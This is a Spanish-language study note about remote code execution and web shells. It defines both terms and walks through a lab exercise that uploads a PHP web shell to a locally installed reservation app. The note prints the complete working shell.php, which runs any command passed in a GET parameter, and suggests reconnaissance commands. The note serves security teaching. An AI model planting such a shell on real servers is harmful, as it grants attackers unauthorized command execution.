floure.ARCHIVO / Ciberseguridad
← Volver a la colección2 MIN DE LECTURA

Ciberseguridad

Web-Shell y RCE

Ataques

Remote Code Execution

Que podamos ejecutar código no significa automáticamente que tengamos privilegios de administrador. Importa con qué cuenta corre el proceso y qué puede alcanzar desde ahí. El laboratorio se lee con ese contexto.

RCE significa ejecución remota de código: una parte remota consigue ejecutar código en el sistema objetivo. El proceso conserva sus permisos y restricciones; control total o exfiltración son consecuencias posibles, no garantías de cualquier RCE.

Web shell

Una web shell es código del lado del servidor que permite interactuar remotamente con ese servidor, por ejemplo ejecutando comandos. Puede llegar por una subida de archivos vulnerable u otra vía; no necesita una interfaz gráfica. Moverse a otro host o usarlo como pivote requiere acceso y condiciones adicionales. MITRE, T1505.003.

Test

Para ejemplificar podemos descargar el Online Railway Reservation System de codeastro.com El apunte original lo utilizó como objetivo del ejercicio. No he confirmado que el paquete actual corresponda a esa versión ni que se diseñara deliberadamente como aplicación vulnerable. Lo montamos en nuestra máquina de pruebas y nos vamos a alguna parte que nos requiera subir un archivo:

Le vamos a cargar shell.php:

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="text" name="command" autofocus id="command" size="50">
<input type="submit" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['command'])) 
    {
        system($_GET['command'] . ' 2>&1'); 
    }
?>
</pre>
</body>
</html>

El ejemplo entrega el parámetro command a system() y muestra su salida. Requiere que el servidor interprete PHP y que esa función esté disponible; guardar o subir el archivo no demuestra ejecución. No contiene autenticación ni escape de salida, así que es material del laboratorio aislado, no un componente para publicar. PHP, system(). La captura corresponde al ejercicio original. De ahí podriamos correr whoami, ls, hostname, uname -a, etc.

+----------------------------------------+
| Floure &                               |
| Tachibana's guild                      |
| [Hikari · Nozomi]                      |
| SEAL: sha256/12: 722ef5847fd6          |
| STATUS: LITURGY_IN_PROGRESS            |
+----------------------------------------+

Conexiones

Desde este apunte · 0

Sin enlaces salientes a otras notas.

Enlazan aquí · 2

Abrir red completa ↗
✳

Fin del apunte

Seguir explorando ↗